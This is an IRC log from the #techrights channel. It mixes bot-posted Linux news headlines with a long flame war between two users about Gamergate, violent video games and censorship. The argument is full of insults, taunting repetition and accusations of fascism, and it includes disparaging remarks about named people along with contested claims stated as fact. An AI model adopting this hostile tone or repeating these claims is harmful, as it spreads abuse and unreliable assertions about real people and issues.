| TweetTuxMachines | serious https://t.co/cyvNcgQ1iC | Oct 08 07:44 |
| TweetTuxMachines | (www.linkedin.com) | Oct 08 07:44 |
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| -TechrightsBot-tr/#techrights-www.linkedin.com | Open Source for Log Analytics – Let’s get serious | Erez Ofer | LinkedIn | Oct 08 07:44 | |
| TweetTuxMachines | @tuxmachines Open source curriculum for EMEA universities | Oct 08 07:44 |
| TweetTuxMachines | http://t.co/DSHl1iMVdY (www.cbronline.com) | Oct 08 07:44 |
| TweetTuxMachines | “student materials for Red Hat Academy are | Oct 08 07:44 |
| TweetTuxMachines | available online.” | Oct 08 07:44 |
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| -TechrightsBot-tr/#techrights-www.cbronline.com | Open source curriculum for EMEA universities - Computer Business Review | Oct 08 07:44 | |
| TweetTuxMachines | @tuxmachines Linus Torvalds Says 2016 Will Be the Year of | Oct 08 07:44 |
| TweetTuxMachines | the ARM Laptop http://t.co/cedhBSC3FX | Oct 08 07:44 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 07:44 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Linus Torvalds Says 2016 Will Be the Year of the ARM Laptop - Softpedia | Oct 08 07:44 | |
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| *TweetTuxMachines @RamiSilawi retweeted @tuxmachines: 'Linus Torvalds Says 2016 Will Be the Year...' | Oct 08 07:46 | |
| TweetTuxMachines | @tuxmachines Massive Steam Client Update Brings Chromium 45, | Oct 08 07:46 |
| TweetTuxMachines | Big Picture Improvements, FLAC Support | Oct 08 07:46 |
| TweetTuxMachines | http://t.co/cjleXiyKp9 (news.softpedia.com) | Oct 08 07:46 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Massive Steam Client Update Brings Chromium 45, Big Picture Improvements, FLAC Support - Softpedia | Oct 08 07:46 | |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Steam for Linux Beta Client Gets More Fixes in New Update - Softpedia | Oct 08 07:46 | |
| schestowitz | https://joindiaspora.com/p/6679183 https://joindiaspora.com/p/6679291 | Oct 08 08:45 |
| -TechrightsBot-tr/#techrights-joindiaspora.com | Hopefully today's news about #linux will be dominated by news about... | Oct 08 08:45 | |
| -TechrightsBot-tr/#techrights-joindiaspora.com | Artificial intelligence is the next major wave of computing, Androi... | Oct 08 08:45 | |
| schestowitz | https://joindiaspora.com/p/6680222 | Oct 08 08:45 |
| -TechrightsBot-tr/#techrights-joindiaspora.com | "attractive are the printer’s precision, light weight and simple de... | Oct 08 08:46 | |
| schestowitz | https://joindiaspora.com/posts/6679183 https://joindiaspora.com/posts/6679291 | Oct 08 08:46 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Hopefully today's news about #linux will be dominated by news about Linux and not drama queens like Matthew Farrett https://twitter.com/mjg59/status/517719901356584960 | Oct 08 08:46 | |
| -TechrightsBot-tr/#techrights-@mjg59: @Max_x_Milia @IntelGaming @intel FART FART FART FART FART | Oct 08 08:46 | |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Artificial intelligence is the next major wave of computing, Android creator says http://www.cnet.com/news/artificial-intelligence-is-the-next-major-wave-of-computing-android-creator-says/ sometimes just "intelligence" (spying) | Oct 08 08:46 | |
| -TechrightsBot-tr/#techrights--> www.cnet.com | Artificial intelligence is the next major wave of computing, Android creator says - CNET [ http://ur1.ca/nyivh ] | Oct 08 08:46 | |
| schestowitz | https://joindiaspora.com/posts/6680222 | Oct 08 08:46 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: "attractive are the printer’s precision, light weight and simple design, making it ideal for first-time 3D printer buyers" http://3dprint.com/99389/eleven-3d-printer-kickstarter/ | Oct 08 08:46 | |
| -TechrightsBot-tr/#techrights--> 3dprint.com | The Eleven 3D Printer by ISG3D is Now Available on Kickstarter - 3DPrint.com [ http://ur1.ca/nyivi ] | Oct 08 08:46 | |
| schestowitz | https://twitter.com/Twpalovi/status/652104833684668416 | Oct 08 08:56 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz Is any of this true? I thought @EPOorg looked like a good place to work. | Oct 08 08:56 | |
| schestowitz | Payment is OK, but it's part of a package deal | Oct 08 08:56 |
| schestowitz | If you're willing to be treated like dirt and generally work in a way that harms European SMEs, citizens, and science. | Oct 08 08:58 |
| schestowitz | https://twitter.com/Twpalovi/status/652106930568175616 | Oct 08 09:08 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz @EPOorg Cool, where do I sign up? | Oct 08 09:08 | |
| schestowitz | https://twitter.com/Twpalovi/status/652107707416186880 | Oct 08 09:08 |
| -TechrightsBot-tr/#techrights-@Twpalovi: Now, @schestowitz I don't believe @EPOorg is like that. @LNevilleRolf would not allow it. | Oct 08 09:08 | |
| schestowitz | She is the biggest part of the problem in the UK. See what she did for UPC and still does... | Oct 08 09:09 |
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| schestowitz | https://twitter.com/Twpalovi/status/652110763100868609 | Oct 08 09:26 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz what did@LNevilleRolf do? | Oct 08 09:26 | |
| schestowitz | See Techrights for details, search the name | Oct 08 09:26 |
| TweetTuxMachines | @RamiSilawi @tuxmachines your tweet takes center stage on | Oct 08 09:42 |
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| -TechrightsBot-tr/#techrights-www.rebelmouse.com | RamiSilawi | Oct 08 09:42 | |
| TweetTuxMachines | @tuxmachines Hands-On: KaOS Linux 2015.10 | Oct 08 09:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Hands-On: KaOS Linux 2015.10 | Tux Machines | Oct 08 09:42 | |
| TweetTuxMachines | @tuxmachines A First Look at IBM's New Linux Servers | Oct 08 09:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | A First Look at IBM's New Linux Servers | Tux Machines | Oct 08 09:42 | |
| TweetTuxMachines | @tuxmachines IBM aims Linux OpenPOWER systems at Intel | Oct 08 09:43 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | IBM aims Linux OpenPOWER systems at Intel | Tux Machines | Oct 08 09:43 | |
| TweetTuxMachines | @tuxmachines NetBSD 7.0 Released With New ARM Board Support, | Oct 08 09:43 |
| TweetTuxMachines | Lua Kernel Scripting http://t.co/Q0hWBl2Wwh | Oct 08 09:43 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | NetBSD 7.0 Released With New ARM Board Support, Lua Kernel Scripting | Tux Machines | Oct 08 09:43 | |
| TweetTuxMachines | @tuxmachines Protecode: Open Source Code Will Power 95 Pct. | Oct 08 09:44 |
| TweetTuxMachines | of Companies by 2017 http://t.co/qELOX5g0gt | Oct 08 09:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Protecode: Open Source Code Will Power 95 Pct. of Companies by 2017 | Tux Machines | Oct 08 09:44 | |
| TweetTuxMachines | @tuxmachines Unity 8: All You Need to Know | Oct 08 09:47 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Unity 8: All You Need to Know - Softpedia | Oct 08 09:47 | |
| TweetTuxMachines | @tuxmachines Hands-On: KaOS Linux 2015.10 | Oct 08 09:47 |
| TweetTuxMachines | http://t.co/aeNxK2Np1n (www.zdnet.com) 'calls | Oct 08 09:47 |
| TweetTuxMachines | itself a "lean KDE Distribution"' | Oct 08 09:47 |
| -TechrightsBot-tr/#techrights-www.zdnet.com | Hands-On: KaOS Linux 2015.10 | ZDNet | Oct 08 09:47 | |
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| TweetTuxMachines | @tuxmachines A First Look at IBM's New Linux Servers | Oct 08 09:47 |
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| -TechrightsBot-tr/#techrights-www.linuxjournal.com | A First Look at IBM's New Linux Servers | Linux Journal | Oct 08 09:47 | |
| TweetTuxMachines | @tuxmachines IBM aims Linux OpenPOWER systems at Intel | Oct 08 09:57 |
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| -TechrightsBot-tr/#techrights-www.zdnet.com | IBM aims Linux OpenPOWER systems at Intel | ZDNet | Oct 08 09:57 | |
| TweetTuxMachines | @tuxmachines Manjaro 15.09 Now Has KDE Plasma 5.4.2 | Oct 08 09:57 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Manjaro 15.09 Now Has KDE Plasma 5.4.2 - Softpedia | Oct 08 09:57 | |
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| schestowitz | https://twitter.com/T_Miller_Harper/status/652121309095268352 | Oct 08 10:05 |
| -TechrightsBot-tr/#techrights-@T_Miller_Harper: The Saudi's get most upset at the merest hint of outside interference in their interior policies... https://t.co/Nobr2436Ru | Oct 08 10:05 | |
| -TechrightsBot-tr/#techrights-@schestowitz: More Saudi Barbaria http://t.co/nk4ZpC0KRX when will the RAF bomb for regime change there like it does in #syria ? | Oct 08 10:05 | |
| schestowitz | They also bribe the media, as Wikileaks showed | Oct 08 10:05 |
| schestowitz | https://joindiaspora.com/posts/6680551 | Oct 08 10:06 |
| -TechrightsBot-tr/#techrights-Not a Diaspora post? | Oct 08 10:07 | |
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| *TweetTuxMachines @thirdtruck favourited '“in spite of Linux being a stretch goal...' | Oct 08 10:44 | |
| TweetTuxMachines | @tuxmachines “in spite of Linux being a stretch goal that | Oct 08 10:44 |
| TweetTuxMachines | retweeted by wasn’t reached, the game got a day-one release | Oct 08 10:44 |
| TweetTuxMachines | @thirdtruck for Linux yesterday.” https://t.co/uBVGOFlIzz | Oct 08 10:44 |
| TweetTuxMachines | (www.gamingonlinux.com) | Oct 08 10:44 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Cyberpunk Adventure 'Read Only Memories' Released DRM Free And On Steam, Has Demo | GamingOnLinux | Oct 08 10:44 | |
| msb_ | A brief explanation of "Social Justice Warriors": A few years ago, some women noticed that the main roles of women in computer games were as rape victims, torture victims, beating victims, and murder victims. The women realized that these games were teaching -- programming -- young men to enjoy these attacks on women, and that some of the boys and men were being inspired to carry them out in real life. So the women objected publicly | Oct 08 10:46 |
| msb_ | to this situation. Some of the young men then published the addresses and phone numbers of the women and began harassing them. The men called this "doxxing" (documenting). The some of the men began making fraudulent calls to police, saying that violent crimes were occurring at the women's homes. The men called this "swatting". The whole affair is called Gamergate. | Oct 08 10:46 |
| msb_ | The men say that freedom of speech entitles game creators to make games that victimize women, and entitles game players to play and enjoy them. | Oct 08 10:48 |
| MinceR | it has gotten totally out of hand since then | Oct 08 10:49 |
| msb_ | The problem is, that humans are programmable by speech and video, and they can be programmed into psychopath behaviors like rape, torture, and murder. Some speech has consequences -- yelling "fire" in a crowded theater -- so freedom of speech requires some limitations. | Oct 08 10:50 |
| MinceR | ah, there's your agenda | Oct 08 10:50 |
| MinceR | censorship in the name of political correctness | Oct 08 10:51 |
| MinceR | because you don't realize that even if you bully people into using different words to speak, you won't change their minds | Oct 08 10:51 |
| MinceR | if you want people to be more progressive, you need civilizing influences, not language police | Oct 08 10:52 |
| MinceR | it's a gradual change that bullying can't do | Oct 08 10:52 |
| msb_ | The abusive language on the LKML is unnecessary, because code can be criticized (and rejected) without it. The abusive language is harmful, because when people read it they subconsciously imagine that it is being directed toward them, and that discourages them from participating in kernel programming. | Oct 08 10:52 |
| MinceR | then go contribute to garrettix | Oct 08 10:52 |
| MinceR | and systemd | Oct 08 10:53 |
| MinceR | they value politeness over working designs and implementations | Oct 08 10:53 |
| msb_ | There MinceR has lied about me SEVEN TIMES1 | Oct 08 10:53 |
| MinceR | or use windows, since what is said in private wasn't really said | Oct 08 10:53 |
| msb_ | There MinceR has lied about me SEVEN TIMES! | Oct 08 10:53 |
| msb_ | MinceR: has lied about me EIGHT TIMES! | Oct 08 10:54 |
| MinceR | go complain to the UN | Oct 08 10:54 |
| MinceR | they're looking for every tidbit they can use to support global oppression | Oct 08 10:54 |
| msb_ | MinceR has lied about me NINE TIMES! | Oct 08 10:55 |
| MinceR | that's some harsh cognitive dissonance right there | Oct 08 10:55 |
| msb_ | The term "political correctness" is used by different people to mean different things. I never use it. What I say is that speech and other media that clearly cause harm should not be emitted, with the choice preferably made by the speakers, who should realize exactly how that speech is harmful (by programming -- training -- people). | Oct 08 10:58 |
| MinceR | good thing censorship isn't harmful | Oct 08 10:58 |
| MinceR | oh wait | Oct 08 10:58 |
| MinceR | i wonder, is there any fascist agenda msb_ won't support? | Oct 08 10:58 |
| msb_ | MinceR has lied about me TEN TIMES! | Oct 08 10:59 |
| MinceR | ah, so there isn't | Oct 08 10:59 |
| MinceR | good to know | Oct 08 10:59 |
| msb_ | MinceR has lied about me TWELVE TIMES! | Oct 08 10:59 |
| TweetTuxMachines | @tuxmachines Links 8/10/2015: Manjaro Linux Releases, | Oct 08 11:00 |
| TweetTuxMachines | Linksys WRT1900ACS, FOSS at NHS | Oct 08 11:00 |
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| -TechrightsBot-tr/#techrights-techrights.org | Links 8/10/2015: Manjaro Linux Releases, Linksys WRT1900ACS, FOSS at NHS | Techrights | Oct 08 11:00 | |
| TweetTuxMachines | @tuxmachines Embedded/Devices http://t.co/hbGsryV6b2 | Oct 08 11:00 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Embedded/Devices | Tux Machines | Oct 08 11:00 | |
| TweetTuxMachines | @tuxmachines Leftovers: Gaming http://t.co/wpzTChWihk | Oct 08 11:00 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux Machines | Oct 08 11:00 | |
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| msb_ | Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them? Freedom of speech is designed to protect artistic expression, political exposition and advocacy, and the exposure of evil (harm) | Oct 08 11:06 |
| msb_ | that's being kept secret. It is not designed to protect programming people to be psychopaths. | Oct 08 11:06 |
| MinceR | apparently now magical thinking overrides freedom of speech | Oct 08 11:08 |
| MinceR | ahead into a Brave New World! | Oct 08 11:08 |
| MinceR | i'm sure the High Priest will tell us what words and topics to avoid so that we don't "program people to be psychopaths" | Oct 08 11:08 |
| msb_ | It's a characteristic of the universe we live in that some good things can cause harm when taken to extremes. The good things should not be banned, but we should refrain from taking them to those extremes. | Oct 08 11:09 |
| msb_ | MinceR has lied about me FIFTEEN TIMES! | Oct 08 11:09 |
| msb_ | Noti | Oct 08 11:10 |
| msb_ | Nothing that I've said involves "magical thinking", only clear and accurate thinking. | Oct 08 11:10 |
| MinceR | yeah, censoring people with the excuse that what they've said somehow "programs people to be psychopaths" is so clear | Oct 08 11:11 |
| MinceR | maybe msb_ could pray to putin to receive by revelation a list of words we're allowed to use | Oct 08 11:12 |
| MinceR | we could call it Newspeak | Oct 08 11:12 |
| MinceR | and then we could finally avoid doubleplusungood crimethink | Oct 08 11:12 |
| msb_ | MinceR has lied about me NINETEEN TIMES! | Oct 08 11:12 |
| msb_ | Nothing that I've said involves Fascism (which MinceR still does not know the meaning of). | Oct 08 11:13 |
| MinceR | msb_: here's a heads-up: 1984 is _not_ an instruction book. | Oct 08 11:13 |
| msb_ | MinceR has lied about me TWENTY TIMES! | Oct 08 11:14 |
| msb_ | When young boys spend hundreds of hours playing video games in which they rape, torture, and murder women, they get trained to accept these activities, and some get trained to enjoy them. And some of those go out and _do_ them. | Oct 08 11:16 |
| MinceR | so you want to ban video games too | Oct 08 11:16 |
| XRevan86 | msb_: Statistics say that's not true. | Oct 08 11:16 |
| msb_ | No, I want to ban those types of depictions of women from video games. | Oct 08 11:17 |
| XRevan86 | people who play voilent games don't have a tendency you express violence in real world | Oct 08 11:18 |
| msb_ | MinceR has lied about me TWENTY-ONE TIMES! | Oct 08 11:18 |
| MinceR | that's funny, if women are not depicted in such video games, the sjw-s attack the games for that reason | Oct 08 11:18 |
| MinceR | so there's no way to please sjw-s, except by banning video games entirely | Oct 08 11:18 |
| MinceR | msb_: do you want to ban bad language too? we could install Verbal Morality Statute Machines everywhere! | Oct 08 11:19 |
| msb_ | SJWs want women to be depicted in video games, but as participants, heroes, not as victims. | Oct 08 11:19 |
| MinceR | ah, so men should be the victims and women should be the heroes | Oct 08 11:19 |
| msb_ | MinceR has lied about me TWENTY-TWO TIMES! | Oct 08 11:19 |
| MinceR | that's not sexist at all, is it? | Oct 08 11:19 |
| MinceR | and of course you'd enforce this by banning games that don't obey your ideology | Oct 08 11:20 |
| msb_ | No, the victims, if there have to be any, should be equally divided among men and women. | Oct 08 11:20 |
| MinceR | but not the heroes. | Oct 08 11:20 |
| msb_ | MinceR has lied about me TWENTY-THREE TIMES! | Oct 08 11:21 |
| msb_ | The heroes should be equally divided too. | Oct 08 11:21 |
| MinceR | do you really believe that subordinating men to women will solve the problem of inequality between sexes? | Oct 08 11:21 |
| msb_ | MinceR has lied about me TWENTY-FOUR TIMES! | Oct 08 11:22 |
| MinceR | apparently this is what Totally Not Fascist msb_ believes... | Oct 08 11:22 |
| msb_ | I believe that men and women should have equal power and status, neither subordinate to the other. | Oct 08 11:22 |
| msb_ | MinceR has lied about me TWENTY-FIVE TIMES! | Oct 08 11:22 |
| MinceR | your other declarations contradict that. | Oct 08 11:23 |
| MinceR | but i guess you've grown accustomed to being logically inconsistent already. | Oct 08 11:23 |
| msb_ | MinceR has lied about me TWENTY-SEVEN TIMES! | Oct 08 11:23 |
| msb_ | XRevan86: Regardless of statistics, the fact is that some of the men involved in Gamergate made threatening phone calls to the women, and tried to get police to kill them. Those are violent acts. | Oct 08 11:24 |
| MinceR | which proves that we need global, pervasive censorship, how? | Oct 08 11:25 |
| msb_ | It doesn't. | Oct 08 11:25 |
| msb_ | MinceR has lied about me TWENTY-EIGHT TIMES! | Oct 08 11:25 |
| XRevan86 | msb_: That's bad, yes. | Oct 08 11:26 |
| MinceR | but it does if you word "global, pervasive censorship" differently? | Oct 08 11:26 |
| XRevan86 | So, what's the debate about then? | Oct 08 11:26 |
| MinceR | XRevan86: msb_ wants censorship everywhere for the sake of political correctness | Oct 08 11:26 |
| XRevan86 | msb_: Do you want censorship everywhere for the sake of political correctness? | Oct 08 11:26 |
| MinceR | XRevan86: he also wants video games to be banned and all males to be subordinated to all females | Oct 08 11:27 |
| XRevan86 | and that | Oct 08 11:27 |
| MinceR | XRevan86: he also wants putler to rule the entire planet. | Oct 08 11:27 |
| MinceR | XRevan86: but he's totally not fascist! | Oct 08 11:27 |
| XRevan86 | MinceR: I'm sure it's time to discuss Putin. | Oct 08 11:27 |
| msb_ | https://en.wikipedia.org/wiki/Gamergate_controversy | Oct 08 11:28 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Gamergate controversy - Wikipedia, the free encyclopedia [ http://ur1.ca/nykir ] | Oct 08 11:28 | |
| MinceR | XRevan86: judging by msb_'s actions, it always is. | Oct 08 11:28 |
| msb_ | MinceR has lied about me THIRTY-TWO TIMES! | Oct 08 11:28 |
| XRevan86 | Why don't we make this simple. | Oct 08 11:29 |
| MinceR | yes, that controversy totally justifies turning the whole planet into a fascist dystopia | Oct 08 11:29 |
| XRevan86 | msb_: Do you think games censorship should be in place? | Oct 08 11:29 |
| MinceR | it will totally solve that controversy | Oct 08 11:29 |
| msb_ | MinceR has lied about me THIRTY-THREE TIMES! | Oct 08 11:29 |
| XRevan86 | MinceR: Why don't we not make this not simple? | Oct 08 11:29 |
| MinceR | also, using words that insult people is Just Wrong, but bullying is A-OK | Oct 08 11:30 |
| msb_ | I think that game creators should voluntarily stop preferentially portraying women as victims. I think that game review sites should not express approval of games that victimize women. I think that game players should stop buying and playing such games. | Oct 08 11:32 |
| MinceR | do you think "being bullied to" is "voluntary"? | Oct 08 11:32 |
| MinceR | because i don't. | Oct 08 11:32 |
| MinceR | or perhaps "voluntary" is code for "death threats from the state"? | Oct 08 11:32 |
| msb_ | MinceR has lied about me THIRTY-FIVE TIMES! | Oct 08 11:33 |
| MinceR | also, it's cute how msb_ still thinks "game review sites" are relevant in 2015 | Oct 08 11:33 |
| XRevan86 | msb_: That's reasonable. | Oct 08 11:33 |
| MinceR | after ign assimilated gamespy and turned it into the same bland, boring shit as ign | Oct 08 11:33 |
| MinceR | well after the death of on-paper gaming journalism | Oct 08 11:33 |
| XRevan86 | So, that's all there is, and all fuss… ugh. | Oct 08 11:33 |
| MinceR | XRevan86: this is what msb_ supports: https://www.washingtonpost.com/news/the-intersect/wp/2015/09/24/the-united-nations-has-a-radical-dangerous-vision-for-the-future-of-the-web/ | Oct 08 11:34 |
| -TechrightsBot-tr/#techrights-www.washingtonpost.com | The United Nations has a radical, dangerous vision for the future of the Web - The Washington Post [ http://ur1.ca/nuyat ] | Oct 08 11:34 | |
| XRevan86 | MinceR: Somehow I doubt that. | Oct 08 11:34 |
| MinceR | 165029 < msb_> The problem is, that humans are programmable by speech and video, and they can be programmed into psychopath behaviors like rape, torture, and murder. | Oct 08 11:35 |
| MinceR | Some speech has consequences -- yelling "fire" in a crowded theater -- so freedom of speech requires some limitations. | Oct 08 11:35 |
| MinceR | this is where he got from the conflict between sjw-s and gamergate | Oct 08 11:35 |
| XRevan86 | MinceR: ah | Oct 08 11:35 |
| MinceR | because apparently an online altercation justifies global censorship | Oct 08 11:35 |
| MinceR | surely people won't hate and harm each other if we force them to smile at all times and only ever use warm and fuzzy words | Oct 08 11:36 |
| MinceR | oh wait | Oct 08 11:36 |
| msb_ | MinceR has lied about me THIRTY-EIGHT TIMES! | Oct 08 11:36 |
| XRevan86 | msb_: Citation is incorrect? | Oct 08 11:38 |
| MinceR | XRevan86: he just randomly says that after i say something, often not even referring to him | Oct 08 11:38 |
| msb_ | MinceR has lied about me THIRTY-NINE TIMES! | Oct 08 11:40 |
| msb_ | XRevan86: Which citation? | Oct 08 11:40 |
| XRevan86 | (18:34:58) MinceR: 165029 < msb_> The problem is, that humans are programmable by speech and video, and they can be programmed into psychopath behaviors like rape, torture, and murder. Some speech has consequences -- yelling "fire" in a crowded theater -- so freedom of speech requires some limitations. | Oct 08 11:43 |
| XRevan86 | msb_: That one. | Oct 08 11:43 |
| msb_ | That's accurate. But I subsequently amplified on it with this: "Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them? | Oct 08 11:45 |
| msb_ | That's accurate. But I subsequently amplified on it with this: "Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them? | Oct 08 11:45 |
| MinceR | yes, flood some more | Oct 08 11:45 |
| msb_ | That's accurate. But I subsequently amplified on it with this: "Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them?" | Oct 08 11:45 |
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| <--MinceR has kicked msb_ from #techrights (stop flooding) | Oct 08 11:46 | |
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| XRevan86 | MinceR: So, you have the power but you don't want to show it :) | Oct 08 11:46 |
| MinceR | i don't really have the power | Oct 08 11:47 |
| MinceR | Roy will soon bring our putin-fanatic bully troll back | Oct 08 11:47 |
| MinceR | for some more flooding | Oct 08 11:47 |
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| MinceR | but until then, we might want to discuss freedom that's relevant to our tech | Oct 08 11:47 |
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| MinceR | though i guess msb wanting global internet censorship is relevant | Oct 08 11:48 |
| schestowitz | MinceR: you're right | Oct 08 11:48 |
| schestowitz | msb promotes political agenda here, but... | Oct 08 11:48 |
| schestowitz | don't ban him | Oct 08 11:48 |
| schestowitz | unban him please | Oct 08 11:48 |
| schestowitz | I'm writing an article | Oct 08 11:48 |
| schestowitz | (and very tight on time, I start working soon) | Oct 08 11:49 |
| MinceR | told you so | Oct 08 11:49 |
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| XRevan86 | (18:47:43) msb_: I hit the wrong key twice. | Oct 08 11:50 |
| MinceR | i guess 3 minutes on topic every couple of months should be enough | Oct 08 11:50 |
| MinceR | i'm sure he did | Oct 08 11:50 |
| MinceR | just like putin, he always has excuses | Oct 08 11:50 |
| schestowitz | cheers mate | Oct 08 11:50 |
| schestowitz | [16:50] <XRevan86> (18:47:43) msb_: I hit the wrong key twice. | Oct 08 11:51 |
| schestowitz | So did the Buk operator :-p | Oct 08 11:51 |
| MinceR | at least some of the time msb claims no Buks were involved | Oct 08 11:51 |
| MinceR | just like the russian government | Oct 08 11:51 |
| XRevan86 | schestowitz: Also twice? %) | Oct 08 11:51 |
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| msb_ | . | Oct 08 11:51 |
| msb_ | I hit the wrong key twice. I was not "flooding". | Oct 08 11:52 |
| XRevan86 | msb_: Problem is that it is impossible to make a perfect censorship that only filters bad content. | Oct 08 11:52 |
| MinceR | it's possible to vehemently claim that imperfect censorship is perfect, though | Oct 08 11:53 |
| MinceR | and for many people that will be enough | Oct 08 11:53 |
| MinceR | they don't care for freedom of speech, they just pay lip service to it when it suits their ends | Oct 08 11:53 |
| msb_ | I favor education to show people that certain speech is harmful, and should not be engaged in. | Oct 08 11:54 |
| MinceR | that's not what the people you're shilling for are doing. | Oct 08 11:54 |
| msb_ | MinceR has lied about me FORTY TIMES! | Oct 08 11:54 |
| MinceR | bullying is not "showing people"; international laws mandating internet censorship is not "showing people"; throwing people into russian jail or gulag is not "showing people". | Oct 08 11:54 |
| msb_ | MinceR has lied about me FORTY-ONE TIMES! | Oct 08 11:55 |
| msb_ | I have not advocated any of those things. | Oct 08 11:55 |
| MinceR | and now msb_ lies about what he said in the past | Oct 08 11:55 |
| MinceR | as usual | Oct 08 11:55 |
| msb_ | MinceR has lied about me FORTY-THREE TIMES! | Oct 08 11:56 |
| *MinceR yawns | Oct 08 11:56 | |
| msb_ | MinceR: quote me to prove your claim. | Oct 08 11:56 |
| MinceR | and now msb_ wants me to amplify his pro-fascism shitflood | Oct 08 11:57 |
| MinceR | not going to happen. | Oct 08 11:57 |
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| msb_ | MinceR has lied about me FORTY-FOUR TIMES! His] usual lying excuse. | Oct 08 11:57 |
| msb_ | MinceR can't prove what he claims, so he uses that lame excuse. Another one he uses is that he "already did" prove something, when he actually didn't. | Oct 08 12:00 |
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| schestowitz | [15:54] <msb_> MinceR: has lied about me EIGHT TIMES! | Oct 08 12:47 |
| schestowitz | That sounds like snit, the anti-Linux troll from usenet | Oct 08 12:47 |
| msb_ | MinceR lied about me a total of 44 times in that discussion! | Oct 08 12:48 |
| schestowitz | boo hoo | Oct 08 12:49 |
| schestowitz | that sounds like kindergarten talk and why was there a discussion about ukraine in here anyway? | Oct 08 12:49 |
| msb_ | I simply noted it. It didn't bother me. | Oct 08 12:49 |
| msb_ | This was not about Ukraine, it was about SJW/Gamergate. | Oct 08 12:50 |
| MinceR | maybe msb_ is snit | Oct 08 12:51 |
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| msb_ | I wrote a very short summary about SJW (not involving MinceR at all), and MinceR popped up and said, "ah, there's your agenda -- censorship in the name of political correctness", | Oct 08 12:55 |
| MinceR | that's what you and the other sjw-s are campaigning for now | Oct 08 12:56 |
| MinceR | and you've mentioned plenty of times how freedom of speech must be limited | Oct 08 12:56 |
| schestowitz | [17:50] <msb_> This was not about Ukraine, it was about SJW/Gamergate. | Oct 08 12:58 |
| schestowitz | no connection to ukraine at all | Oct 08 12:58 |
| schestowitz | you keep using many excuses to divert to 9/11, ukraine, nazis etc. | Oct 08 12:58 |
| schestowitz | people don't log in to #techrights to hear about that | Oct 08 12:59 |
| MinceR | soon they will | Oct 08 12:59 |
| schestowitz | so be kind to other people and keep these topics in other channels | Oct 08 12:59 |
| MinceR | since msb_'s being crapflooding this channel with putin propaganda and sjw propaganda for quite a while | Oct 08 12:59 |
| msb_ | I never use the term "political correctness" because it has no definite meaning, And I've said explicitly that people should voluntarily limit harmful speech, like videogames that train boys to torture and murder women. | Oct 08 12:59 |
| schestowitz | or else we won't gain any wider acceptance and a lot of updates from IRC will be rubbish | Oct 08 12:59 |
| MinceR | apparently to sjws only the terms they want to ban have "definite meaning" | Oct 08 12:59 |
| MinceR | schestowitz: well, that's why we used to ban trolls | Oct 08 13:00 |
| schestowitz | msb_: anyway, no more politics here | Oct 08 13:00 |
| schestowitz | unless it's very relevant to software | Oct 08 13:00 |
| schestowitz | like MS bribing some government | Oct 08 13:00 |
| schestowitz | some women who use to frequent this channel left | Oct 08 13:00 |
| MinceR | the sjw/un campaign for global internet censorship might be relevant to software | Oct 08 13:00 |
| MinceR | it's just that msb_ is on the wrong side of it | Oct 08 13:01 |
| schestowitz | because diablo3d was a misogynist | Oct 08 13:01 |
| msb_ | "Ukraine" has not been mentioned here for four days. | Oct 08 13:01 |
| MinceR | you keep mentioning it | Oct 08 13:01 |
| schestowitz | some people who don't share your view that US="nazis" might leave too | Oct 08 13:01 |
| schestowitz | bbl | Oct 08 13:01 |
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| msb_ | MinceR: Correct me if I'm wrong, but you seem to feel that no one should discourage computer game creators from making games that show the rape, torture and murder of women. You seem to be calling such discouragement "bullying". Isn't that misogynistic? | Oct 08 13:06 |
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| msb_ | Doesn't freedom of speech give women the right to repeatedly insist that they not be portrayed as victims of rape, torture, and murder, especially in computer games that allow players to actually do those things? | Oct 08 13:09 |
| msb_ | And thereby get trained to do those things in real life? | Oct 08 13:09 |
| msb_ | The classic remedy for speech that advocates evil is more speech that exposes the evil speech and explains why it is evil. | Oct 08 13:13 |
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| MinceR | msb_: that's not the sort of games you were talking about a while ago | Oct 08 13:38 |
| MinceR | msb_: why do you keep moving the goalposts? | Oct 08 13:38 |
| MinceR | 191301 < msb_> The classic remedy for speech that advocates evil is more speech that exposes the evil speech and explains why it is evil. | Oct 08 13:38 |
| MinceR | so, why do you promote censorship instead? | Oct 08 13:38 |
| schestowitz | One cannot have everything, my country’s army is not the best in the world. | Oct 08 13:59 |
| schestowitz | Let me drown that shame in tasty water. | Oct 08 13:59 |
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| schestowitz | " | Oct 08 13:59 |
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| msb_ | MinceR: How have I "moved the goalposts"? And where have I advocated censorship? | Oct 08 14:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Running Some Fresh BSD vs. Linux Benchmarks | Tux Machines | Oct 08 17:37 | |
